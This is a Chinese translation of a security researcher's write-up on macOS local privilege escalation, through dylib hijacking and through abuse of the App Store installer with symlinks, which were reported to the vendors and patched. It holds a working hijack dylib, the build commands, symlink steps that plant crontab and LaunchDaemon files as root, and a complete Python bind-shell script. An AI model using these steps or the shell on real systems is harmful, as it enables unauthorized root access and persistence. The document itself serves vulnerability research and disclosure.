看我如何利用Mac官方AppStore中的应用程序获取root权限

41yf1sh 系统安全 2019年7月10日发布
Favorite收藏

导语:在本篇文章中,“Objective by the Sea”的演讲者Csaba Fitzl撰写了一篇有趣的方法,通过官方Mac AppStore中的应用程序来获取root权限。

一、前言

在本篇文章中,“Objective by the Sea”的演讲者Csaba Fitzl撰写了一篇有趣的方法,通过官方Mac AppStore中的应用程序来获取root权限。

他的研究最开始是在“Objective by the Sea”v2.0中提出的,演讲时展示的PPT请参考这里

1.png

二、背景

这篇文章主要讲述了我的研究过程,我想展示一下我是如何在快速的研究过程中发现问题的,我最终在macOS中发现了一个本地权限提升漏洞。除了成功发现的漏洞之外,我还想讨论我在研究过程中遇到的所有障碍和失败,尽管人们通常不会谈论这一些,但我认为,当我们试图创造(或利用)某些东西时,这是所有人的一个必经之路。

三、macOS上的Dylib劫持

3.1 基础概念

在整个研究过程中,我都试图在特定应用程序中找到dylib劫持漏洞,在这里我不能透露具体的应用程序名称。最终,我没有在那个特定的应用程序中发现漏洞,但在许多其他的应用程序中发现了这类漏洞。

如果各位读者还不熟悉macOS上的dylib劫持,可以阅读:

1. Patrick Wardle的文章:病毒的子弹 – OSX上的Dylib劫持

2. DEF CON 23演讲:OSX上的DLL劫持

我推荐大家优先观看演讲,因为这是一位非常出色的演讲者,并且会以非常友好的方式来解释这个主题,可以帮助大家掌握所有的细节。

我们简而言之,存在两种类型的dylib劫持:

1. dylib弱加载:在这种情况下,操作系统将使用LC_LOAD_WEAK_DYLIB函数,如果没有找到dylib,应用程序仍然会运行,并且不会报错。因此,如果有一个应用程序使用此方法引用dylib,并且dylib实际上不存在,那么我们可以利用这一点。

2. 运行路径依赖(rpath)dylib:在这种情况下,dylib会使用@rpath前缀引用,它将指向mach-o文件的当前运行位置,并尝试根据此搜索路径查找dylib。如果我们不知道安装后的应用程序会在哪里结束,那么这是一种非常好的方式。开发人员可以指定多个搜索路径,如果第一个或者第一对不存在,那么就可以将恶意dylib放在相应位置,因为加载器会按照顺序搜索这些路径。在逻辑上,这类似于Windows中的经典DLL劫持。

3.2 寻找易受攻击的应用

这一过程比较困难,需要我们下载Patrick的“Dylib Hijack Scanner”(DHS,Dylib劫持扫描器)工具,运行扫描并等待。除此之外,还有一个命令行版本的工具,也是由Patrick编写的。

在演示中,我将使用Tresorit应用程序作为示例,因为他们已经修复了漏洞,并且他们的反映非常及时,在报告漏洞后的几天内就修复了这一问题。我不会在这里提及所有的应用程序,但大家如果看到应用程序的清单,一定会为其数量之多而惊讶。

2.png

从上图中可以看出,dylib劫持漏洞与Tresorit的FinderExtension有关:

/Applications/Tresorit.app

/Contents/MacOS/TresoritExtension.app

/Contents/PlugIns/FinderExtension.appex

/Contents/MacOS/FinderExtension

我们可以在这里放置(恶意的)dylib UtilsMac:

rpath漏洞:/Applications/Tresorit.app

/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex

/Contents/Frameworks/UtilsMac.framework/Versions/A/UtilsMac

DHS只会向我们展示第一个劫持的dylib,但实际上可能会有更多。要检查其他位置,可以在终端中将DYLD_PRINT_RPATHS变量设置为1,即可查看到加载程序尝试加载哪些dylib。如我们所见,有两个可能被劫持的dylib:

$ export DYLD_PRINT_RPATHS="1"
 
$ /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app
 /Contents/PlugIns/FinderExtension.appex/Contents/MacOS/FinderExtension
 
RPATH failed to expanding  @rpath/UtilsMac.framework/Versions/A/UtilsMac to:
/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app
 /Contents/PlugIns/FinderExtension.appex/Contents/MacOS
 /../Frameworks/UtilsMac.framework/Versions/A/UtilsMac
 
RPATH successful expansion of @rpath/UtilsMac.framework/Versions/A/UtilsMac to:
/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns
 /FinderExtension.appex/Contents/MacOS
 /../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac
 
RPATH failed to expanding @rpath/MMWormhole.framework/Versions/A/MMWormhole to:
/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns
 /FinderExtension.appex/Contents/MacOS/
 ../Frameworks/MMWormhole.framework/Versions/A/MMWormhole
 
RPATH successful expansion of @rpath/MMWormhole.framework/Versions/A/MMWormhole to:
/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns
 /FinderExtension.appex/Contents/MacOS
 /../../../../Frameworks/MMWormhole.framework/Versions/A/MMWormhole
 
Illegal instruction: 4

此外,最好仔细检查APP是否使用了库验证选项(flag = 0x200)进行编译。如果以这种方式编译应用程序,就意味着即使dylib可能被劫持,操作系统也只会加载由操作系统签名的库,或者与应用程序具有相同团队ID签名的库。换而言之,对应用程序的任何dylib劫持尝试都会以失败告终。

大多数应用程序都没有以这种方式编译,包括Tresorit在内(但他们承诺会修复这一问题):

$ codesign -dvvv /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns
 /FinderExtension.appex/Contents/MacOS/FinderExtension
 
Executable=FinderExtension.appex/Contents/MacOS/FinderExtension
Identifier=com.tresorit.mac.TresoritExtension.FinderExtension
Format=bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=754 flags=0x0(none) hashes=15+5 location=embedded
 
...

3.3 漏洞利用

根据上面的讨论,实现漏洞利用就变得非常简单,在这里我们只做简要说明。我编写了以下的PoC:

#include <stdio.h>
 #include <stdlib.h>
 #include <syslog.h>
 
 __attribute__((constructor))
 void customConstructor(int argc, const char **argv)
  {
      printf("Hello World!\n");
      system("/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal");
     syslog(LOG_ERR, "Dylib hijack successful in %s\n", argv[0]);
}

在加载dylib时,将会调用构造函数。它将打印一行,创建一个syslog条目,并启动终端(Terminal)。如果该应用程序未在沙箱中运行,我们将会获得一个功能齐全的终端。对其进行编译:

gcc -dynamiclib hello.c -o hello-tresorit.dylib -Wl,-reexport_library,"/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex/Contents/MacOS/../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac"

随后,运行Patrick的修复脚本。该脚本将会为我们修复dylib版本(dylib加载器会在加载时验证版本信息),并且将添加原始dylib的所有导出。这些导出实际上将指向有效(原始的)dylib,因此当应用程序加载我们精心制作的版本时,仍然可以使用所有函数,并且不会发生崩溃。

python2 createHijacker.py hello-tresorit.dylib "/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex/Contents/MacOS/../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac"
 
CREATE A HIJACKER (p. wardle)
configures an attacker supplied .dylib to be compatible with a target hijackable .dylib
 
 [+] configuring hello-tresorit.dylib to hijack UtilsMac
 [+] parsing 'UtilsMac' to extract version info
     found 'LC_ID_DYLIB' load command at offset(s): [2568]
     extracted current version: 0x10000
     extracted compatibility version: 0x10000
 [+] parsing 'hello-tresorit.dylib' to find version info
     found 'LC_ID_DYLIB' load command at offset(s): [888]
 [+] updating version info in hello-tresorit.dylib to match UtilsMac
     setting version info at offset 888
 [+] parsing 'hello-tresorit.dylib' to extract faux re-export info
     found 'LC_REEXPORT_DYLIB' load command at offset(s): [1144]
     extracted LC command size: 0x48
     extracted path offset: 0x18
     computed path size: 0x30
     extracted faux path: @rpath/UtilsMac.framework/Versions/A/UtilsMac
 [+] updating embedded re-export via exec'ing: /usr/bin/install_name_tool -change
 [+] copying configured .dylib to /Users/csaby/Downloads/DylibHijack/UtilsMac

完成后,我们只需复制文件,并启动应用程序即可。现在,我们的恶意dylib将会自动加载到Tresorit Finder扩展应用程序中。

3.4 其他APP

考虑到易受攻击应用程序的数量之多,我甚至没有花费时间来报告所有这些问题,只报告了少数几个。除了Tresorit之外,我报告了Avira的一个漏洞,他们承诺修复,但是定的优先级较低,因为我们必须先获得使用该应用程序的root权限。另外,我还报告了Microsoft Office 2016中的一个漏洞,微软认为这不属于安全漏洞,因为需要使用root权限来利用,他们建议我可以提交产品Bug。但我不认同这样的观点,因为这是一种持久性的方式,但就目前情况而言,我似乎没办法去和他们争辩。

3.5 特权问题

我原本的研究已经完成,但这也是超越我原本研究结果的开始。

在许多应用程序中都存在此类问题,理论上我们只需要将dylib放到正确的位置,但在利用此漏洞所需的权限上,可能存在两种主要的方案。

1. 应用程序文件夹由我们的账户拥有(实际上,每个用户都是Mac上的管理员,因此我们在这里不考虑标准用户的情况),在这种情况下,我们可以轻松地投放文件。

2. 应用程序文件夹由root拥有,因此我们需要root权限才能执行攻击。实际上,这样的场景并不太好,既然我们能够获得root权限,那么显然可以在其他地方创建持久性,并且应用程序通常会在沙箱中运行,因此我们不能从这里获得太多。这确实是一个问题。

通常,拖放到/Application目录的应用程序都属于第一类,AppStore中的所有应用程序都属于第二类,因为后者将由以root身份运行的installd守护程序安装。从软件包安装的应用程序通常也属于第二类,通常需要提升权限。

我对厂商的回复不太满意,并且也不喜欢开发出仅有root权限才能利用的漏洞,因此我开始思考,我们是否可以绕过根文件夹的权限?答案是肯定的,否则这篇文章就到此结束了。

四、监控工具

在继续之前,我首先介绍一些对事件监控有所帮助的工具。

4.1 FireEye – Monitor.app

这是一个FireEye编写的应用程序,类似于procmon,可以从这里下载。

3.png

4.2 Objective-See的ProcInfo库和ProcInfoExample

这是一个用于监控macOS上进程创建和进程结束的开源库。我使用了这个库的演示项目,名为“ProcInfoExample”。它是一个命令行实用程序,将会记录每个进程创建,包括所有相关的详细信息,例如参数、签名信息等。

它将会为我们提供比Monitor应用程序更多的信息:

2019-03-11 21:18:05.770 procInfoExample[32903:4117446] process start:
pid: 32906
path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/efw_cache_update
user: 0
args: (
    "/System/Library/PrivateFrameworks/PackageKit.framework/Resources/efw_cache_update",
    "/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager/BC005493-3176-43E4-A1F0-82D38C6431A3.activeSandbox/Root/Applications/Parcel.app"
)
ancestors: (
    9103,
    1
)
 signing info: {
    signatureAuthorities =     (
        "Software Signing",
        "Apple Code Signing Certification Authority",
        "Apple Root CA"
    );
    signatureIdentifier = "com.apple.efw_cache_update";
    signatureSigner = 1;
    signatureStatus = 0;
}
 binary:
name: efw_cache_update
path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/efw_cache_update
attributes: {
    NSFileCreationDate = "2018-11-30 07:31:32 +0000";
    NSFileExtensionHidden = 0;
    NSFileGroupOwnerAccountID = 0;
    NSFileGroupOwnerAccountName = wheel;
    NSFileHFSCreatorCode = 0;
    NSFileHFSTypeCode = 0;
    NSFileModificationDate = "2018-11-30 07:31:32 +0000";
    NSFileOwnerAccountID = 0;
    NSFileOwnerAccountName = root;
    NSFilePosixPermissions = 493;
    NSFileReferenceCount = 1;
    NSFileSize = 43040;
    NSFileSystemFileNumber = 4214431;
    NSFileSystemNumber = 16777220;
    NSFileType = NSFileTypeRegular;
}
signing info: (null)

4.3 内置的fs_usage实用程序

fs_usage实用程序可以非常详细地监视文件系统事件,甚至在我们看来有些过于详细了,如果我们想从中获取到有用的数据,就必须要做好过滤。我们将得到类似于以下内容:

# fs_usage -f filesystem
 
getxattr /Applications/Parcel.app lsd.4123091
access    (___F)  /Applications/Parcel.app/Contents  lsd.4123091
fstatat64 [-2]/   /Applications/Parcel.app  lsd.4123091
getattrlist       /Applications/Parcel.app  lsd.4123091
getattrlist       /Applications/Parcel.app/Contents  lsd.4123091
getattrlist       /Applications/Parcel.app/Contents/MacOS  lsd.4123091
getattrlist       /Applications/Parcel.app/Contents/MacOS/Parcel  lsd.4123091
getattrlist       /Applications/Parcel.app  lsd.4123091

五、绕过App Store安装的应用程序中的根文件夹权限

我们的目标是在AppStore安装的应用程序中写入任何文件,默认情况下只能由root访问。

在这里的绕过,只适用于应用程序已经安装过至少一次的情况,因为当我们购买APP时,即使它是免费的,也需要向AppStore进行身份验证,或者用户预先为免费的应用程序设置了“保存密码”。我们注意到,可以在“/Applications”文件夹中创建文件夹,显然我们也可以在那里拖放应用程序。但是,如果我为即将要安装的应用程序创建一个文件夹会怎样?下面展现了这一过程,以及绕过根文件夹权限的步骤:

1. 在删除应用程序之前,需要记录下文件夹的结构,我们具有读取的权限。这一过程是为了以后清楚要重新创建的内容。

2. 启动Launchpad找到该应用程序,如果当前已经安装,则将其删除。值得注意的是,尽管我们作为普通用户与Launchpad进行交互,但还是会删除应用程序,它只能对从AppStore安装的应用程序执行此操作。

3. 在/Applications文件夹中,使用常规ID创建文件夹结构,我们可以在没有root访问权限的情况下执行此操作。这样一来,就可以创建我们需要的文件夹,并将我们的dylib(或任何想要的文件)放在文件夹中。

4. 返回AppStore,并在“已购买”选项卡中找到该应用程序并进行安装。在这种情况下,我们无须进行身份验证。我们还可以使用GitHub提供的命令行实用程序 GitHub – mas-cli/mas Mac AppStore命令行界面

此时,应用程序将会被安装,并且我们可以使用应用程序,并在相应位置放置文件。理论上,如果没有root权限,这些文件本应是无法被放置的。

这一漏洞已经在Mojave 10.14.5中被修复,稍后我将详细讨论。

比较而言,这就像是对Windows上的“Program Files”文件夹具有写入权限。管理员用户确实可以,但也仅当他们以高完整性运行时,这意味着我们需要从默认的中等(MEDIUM)完整性模式中绕过UAC。但在Windows中,将中等(MEDIUM)完整性的Admin提升到高(HIGH)完整性并不需要越过安全边界,但在macOS中,将admin提升到root则跨越了边界。

六、更进一步:在任意位置投放AppStore文件

6.1 具体方法

在这一点上,我有另外一个想法。由于installd以root身份运行,我们可以利用它将应用程序放在其他位置或者某个确定的位置吗?答案是肯定的。假设我想将APP的主要mach-o文件放在只有root访问权限的文件夹中,例如/opt(受SIP保护的文件夹,例如/System将不起作用,因为即使root用户也没有访问权限)。下面是重现的步骤,其中1-2步与之前相同。

3. 创建以下文件夹结构:/Applications/Example.app/Contents。

4. 创建符号链接“MacOS”,指向/opt: ln -s /opt /Applications/Example.app/Contents/MacOS。

主要的mach-O文件通常位于/Applications/Example.app/Contents/MacOS文件夹下,在我们的示例中,将其指向/opt。

5. 安装应用程序。

此时,应用程序会正常安装,但是/Applications/Example.app/Contents/MacOS下的任何文件都将被转到/opt。

如果存在具有mach-O文件名称的文件,那么该文件将会被覆盖。基本上,我们可以将AppStore应用程序中能够找到的任何文件投放到我们控制的位置。

6.2 我们不能做什么?

1. 我们不能更改要投放的文件的名称,或者换而言之,我们不能将一个文件的内容放入另一个具有不同名称的文件中。如果我们为实际的mach-o文件创建一个符号链接,例如:ln -s /opt/myname /Applications/Example.app/Contents/MacOS/Example,当installd守护进程移动时,会覆盖符号链接文件从临时位置到最终位置。如果我们尝试使用mv命令,可以发现相同的行为:

$ echo aaa > a
$ ln -s a b
$ ls -la
total 8
drwxr-xr-x   4 csaby  staff   128 Sep 11 16:16 .
drwxr-xr-x+ 50 csaby  staff  1600 Sep 11 16:16 ..
-rw-r--r--   1 csaby  staff     4 Sep 11 16:16 a
lrwxr-xr-x   1 csaby  staff     1 Sep 11 16:16 b -> a
$ cat b
aaa
$ echo bbb >> b
$ cat b
aaa
bbb
$ touch c
$ ls -l
total 8
-rw-r--r--  1 csaby  staff  8 Sep 11 16:16 a
lrwxr-xr-x  1 csaby  staff  1 Sep 11 16:16 b -> a
-rw-r--r--  1 csaby  staff  0 Sep 11 16:25 c
$ mv c b
$ ls -la
total 8
drwxr-xr-x   4 csaby  staff   128 Sep 11 16:25 .
drwxr-xr-x+ 50 csaby  staff  1600 Sep 11 16:16 ..
-rw-r--r--   1 csaby  staff     8 Sep 11 16:16 a
-rw-r--r--   1 csaby  staff     0 Sep 11 16:25 b

2. 即使我们创建了一个硬链接,而不是符号链接,也会像第一种情况一样被覆盖。

3. 如前所述,我们无法写入受到SIP保护的文件夹。

6.3 利用这一点进行权限提升的思路

基于以上内容,我对于如何从admin提升到root权限,有以下思路:

1. 在AppStore中查找与root身份运行的进程同名的文件,并替换该文件。

2. 在AppStore中找到一个文件,其中包含一个cron任务称为“root”,我们可以将其放入/usr/lib/cron/tabs。

3. 如果没有发现,我们可以创建一个完全无害的应用程序,该程序可以弹出一个交互式提示,或者类似的内容,随后我们将其上传到AppStore。举例来说,我们的文件可能包含示例root crontab文件,该文件每小时启动一次终端(Terminal)。我们可以将其放在crontab文件夹中。

4. 制作恶意dylib,将其作为应用程序的一部分上传到AppStore,并投放该文件,以便以root身份运行的应用程序会加载它。

6.4 向Apple报告

我承认,在这一过程中,我采用了比较懒惰的方法向Apple报告了上述情况,主要原因在于:

1. 我发现我不太可能找到满足#1或#2的合适文件。Xcode几乎满足#2,因为其中包含一些cron示例,但无法命名为root。

2. 我在开发AppStore应用程序方面几乎没有经验,并且不会Objective-C或Swift编程。

3. 在工作中和下班后,还有其他事项要处理。

因此,我简单地向Apple报告,随后收到了他们的反馈:“App Review流程有助于防止恶意应用程序在Mac和iOS应用程序商店中出现”。

显然,Apple没有理解这个问题,或者是我的表达出现了问题,但很明显我们之间存在了误解。因此,我认为我必须要证明这一观点。于是,我决定开发一个应用程序,并将其提交给AppStore,以此来证明。

七、创建APP

经过一番思考后,我决定创建一个能够为root提供crontab文件的应用程序,然后将其放到/usr/lib/cron/tabs文件夹中。应用程序必须实现一些有意义的用途才能审核通过,因此我想到创建一个cronjob编辑器应用程序。这一应用程序具有实际价值,也可以解释为什么我会嵌入crontab文件。

7.1 Apple开发者ID

要向AppStore提交任何应用程序,我们必须首先注册开发者计划。我注册了一个新的ID,因为我担心制作出可用于权限提升的应用程序后官方会禁用掉我的ID,但事实上并没有。开发者ID每年需要花费99美元。

7.2 发布到AppStore的流程

1. 成为Apple的开发人员,每年支付99美元;

2. 登录App Store Connect,并创建一个Bundle ID;

4.png

3. 返回并创建一个新的App,引用我们创建的Bundle ID;

5.png

4. 填写详细信息(许可证页面、描述等);

5. 从Xcode上传我们的应用程序;

6. 如果需要,填写更多详细信息;

7. 提交审核。

7.3 应用程序详情

我开发的应用程序名为“Crontab Creator”,该应用对于创建crontab文件非常有用。该应用程序目前仍然存在,并且持续可用,事实证明,确实有一些用户使用了它。

8.png

该应用程序绝对是合法的,但其中包含了crontab文件的不同示例,它们都作为单独的文件存储在应用程序中。我之所以没有将字符串嵌入到源代码之中,就是因为要将其用于漏洞利用。其中,有一个文件名为“root”,它将尝试从_Applications_Scripts文件夹执行脚本。

八、在High Sierra上实现权限提升

8.1 权限提升步骤

Crontab Creator应用程序包含一个名为“root”的文件作为crontab文件的示例,以及另外9个文件。其内容如下:

* * * * * /Applications/Scripts/backup-apps.sh

显然,默认情况下该脚本并不存在,但我们可以在/Application文件夹中轻松创建这一脚本,因为我们具有写入权限,所以可以将任何内容放入其中。

权限提升的步骤如下。首先,我们需要创建app文件夹结构,并在其中放置符号链接。

cd /Applications/
mkdir "Crontab Creator.app"
cd Crontab\ Creator.app/
mkdir Contents
cd Contents/
ln -s /usr/lib/cron/tabs/ Resources

随后,我们需要创建脚本文件,它将每分钟运行一次,我选择让它运行终端(Terminal)。

cd /Applications/
mkdir Scripts
cd Scripts/
echo /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal > backup-apps.sh
chmod +x backup-apps.sh

然后,我们需要从商店安装应用程序。我们可以通过GUI执行此操作,或者如果已经安装brew和mas,也可以通过CLI执行此操作:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
brew install mas
mas install 1438725196

回顾之前分析的漏洞,我们可以将文件放入crontab文件夹,创建脚本,并在其中启动终端,随后便可以在一分钟之内获得弹出和root访问权限。

8.2 漏洞修复

如前所述,Apple已经在Mojave中修复了这一漏洞利用路径。在2018年10月,我发现我的PoC不能再正常使用。在没有进行进一步测试的情况下,我误以为权限提升漏洞已经被修复,但实际上,我们仍然可以投放文件到应用程序中。

九、在不破坏应用程序签名的情况下感染安装程序

接下来,我们希望能够针对手动安装的应用程序绕过其根文件夹权限。我们无法在这里进行真正的绕过或权限提升,因为在安装过程中用户必须输入其密码,但我们仍然可以沿用此前的思路。在这里,我希望展示另外一种方法,那就是如何将我们的自定义文件嵌入到安装程序包中。如果我们可以对pkg的下载过程开展中间人攻击,那么就可以使用自己的安装包来替换合法文件,或者通过电子邮件或其他方式将其提供给用户。

需要说明的是,尽管AppStore中的应用程序都是通过HTTP下载的,但我们并不能实际篡改它,因为哈希值是通过HTTPS传递的,同时签名也会被验证。

下面是如何将自定义文件封装在有效包中的步骤:

1. 获取安装程序pkg:使用AppStoreExtract或DerFlounder从Mac的AppStore下载安装程序包

2. 解压缩pkg:pkgutil –expand example.pkg myfolder

3. 输入文件夹,然后解压缩嵌入的Payload(嵌入式pkg文件夹内):tar xvf embedded.pkg/Payload

4. 将我们的文件嵌入其中(可以在任意位置嵌入任意文件):bash $ mkdir Example.app/Contents/test $ echo aaaa > Example.app/Contents/test/a

5. 重新压缩应用程序:find ./Example.app | cpio -o –format odc | gzip -c > Payload

6. 删除不需要的文件,并将Payload移动到嵌入式pkg文件夹

7. 重新封装pkg:pkgutil –flatten myfolder/ mypackage.pkg

随后,安装包的数字签名将会丢失,因此我们需要一种绕过Gatekeeper的方法。嵌入式应用程序的签名也会被破坏,因为.app Bundle中的每个文件都必须进行数字签名。通常,主mach-o文件是有符号的,它具有_CodeSignatures plist文件的哈希值。该文件将包含其他文件的所有哈希值。如果在.app Bundle中放置一个新文件,该文件会使得哈希值无效。但是,这并不是问题,就好像我们可以绕过Gatekeeper获取.pkg文件一样,安装的应用程序不会受到Gatekeeper的约束。

十、重新分发付费应用

我们使用与上一个示例中相同的工具,可以获取特定应用程序的安装程序。如果我们以这样的方式保留收费的应用程序,即使在用户未付费的情况下,它也可以在其他位置使用。在应用程序中,不会默认对该应用程序是否已经购买进行验证,其中也不包含跟踪购买情况的任何内容。因此,如果我们购买了一个应用程序,就可以轻松地将其分发到其他位置。应用程序内购可能不会起作用,因为它们与Apple ID相关联。

十一、在Mojave上实现权限提升

11.1 漏洞修复

在今年,我一直与其他研究人员谈论这个漏洞的问题,并且这一漏洞对我产生了一定的打击。实际上,我并没有做任何进一步的检查来确认符号链接是否完全被破坏。事实证明,并非如此。

macOS修复这一漏洞的方法是,即使以root身份运行,installd也不再访问crontab文件夹(/usr/lib/cron/tabs),因此也无法在那里创建文件。我甚至不确定,他们是直接针对我的PoC做了修复,还是存在其他一些巧合。我们可以在/var/log/install.log中找到相关的错误信息:

shove[1057]: [source=file] failed
 
_RelinkFile(/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager
 /401FEDFC-1D7B-4E47-A6E9-E26B83F8988F.activeSandbox/Root/Applications
 /Crontab Creator.app/Contents/Resources/peter, /private/var/at/tabs/peter):
 
Operation not permitted

11.2 存在的问题

installd进程仍然可以访问其他文件夹,并且可以在重定向期间投放文件,而这些文件也可能会被滥用。经过测试,我发现可以将文件写入重定向到下述具有潜在风险的文件夹中:

/var/root/Library/Preferences/

攻击者可能会投放一个名为com.apple.loginwindow.plist的文件,该文件可以包含一个以root身份运行的LoginHook。

/Library/LaunchDaemons/

在此处投放plist文件将以root身份执行。

/Library/StartupItems/

在此处投放plist文件将以root身份执行。

此外,也可以写入到/etc中。

将文件投放到这些位置的思路,与将文件投放到crontab文件夹的想法基本相同。可能还会有许多文件夹受到影响,因此我们可以制作恶意dylib文件,但我在这里没有进一步探索。

11.3 第二个PoC

掌握了上述情况,我现在就是一个“经验丰富”的macOS开发人员了,我创建了一个名为StartUp的新PoC:

9.png

该文件的创建实际上是与之前一样的,但在我们的示例中是LaunchDaemons。

其实现方式是:

cd /Applications/
mkdir “StartUp.app”
cd StartUp.app/
mkdir Contents
cd Contents/
 
ln -s /Library/LaunchDaemons/ Resources
cd /Applications/
mkdir Scripts
cd Scripts/

在这里,我们可以创建一个在启动后以root身份运行的sample.sh脚本。实际中,我将一个Bind Shell放入该脚本中,在登录后,一旦连接到它,我就获得了一个root Shell,但这还是取决于我们放置到目标的内容。

#sample.sh
python /Applications/Scripts/bind.py
 
 #bind.py
 #!/usr/bin/python2
 """
 Python Bind TCP PTY Shell - testing version
 infodox - insecurety.net (2013)
 Binds a PTY to a TCP port on the host it is ran on.
 """
 import os
 import pty
import socket
 
lport = 31337 # XXX: CHANGEME
 
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('', lport))
    s.listen(1)
    (rem, addr) = s.accept()
    os.dup2(rem.fileno(),0)
    os.dup2(rem.fileno(),1)
    os.dup2(rem.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
                                                                                               
if __name__ == "__main__":
main()

11.4 向Apple再次反馈

我在2019年2月再次向Apple报告了这一问题,并试图详细解释为什么我认为安装过程仍然存在漏洞,并且可能被滥用。

11.5 增强安全性

Apple从未承认这是一个安全漏洞,也从未为其分配过CVE编号,他们认为这是一个增强的功能。最终,在Mojave 10.14.5上实现了修复,他们甚至在页面上提到了我的名字:

10.png

我做了一个快速的测试,最终发现他们终于成功修复了这一问题。如果我们创建应用程序的文件夹,并在其中放置文件,最终将会全部被删除。我们使用FireEye的Monitor.app可以证明这一点。第一个事件说明了整个文件夹都被移动:

11.png

如果把这一过程用《权利的游戏》的画面展现出来,应该是这样的:

12.png

下面的事件说明,已经将应用程序安装到恰当的位置:

13.png

因此,我们就不能再投放文件了。

我非常喜欢最终修复的方式,因此要在这里感谢Apple。此外,我要感谢Patrick Wardle,每次当我询问他关于macOS的愚蠢问题时,他总是积极帮助我。

由于我已经绕过了Apple的修复方法,因此故事仍然在继续。一旦他们彻底修复了漏洞,我会及时进行更新。

本文翻译自:https://objective-see.com/blog/blog_0x46.html如若转载,请注明原文地址: https://www.4hou.com/system/19105.html
点赞 9
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论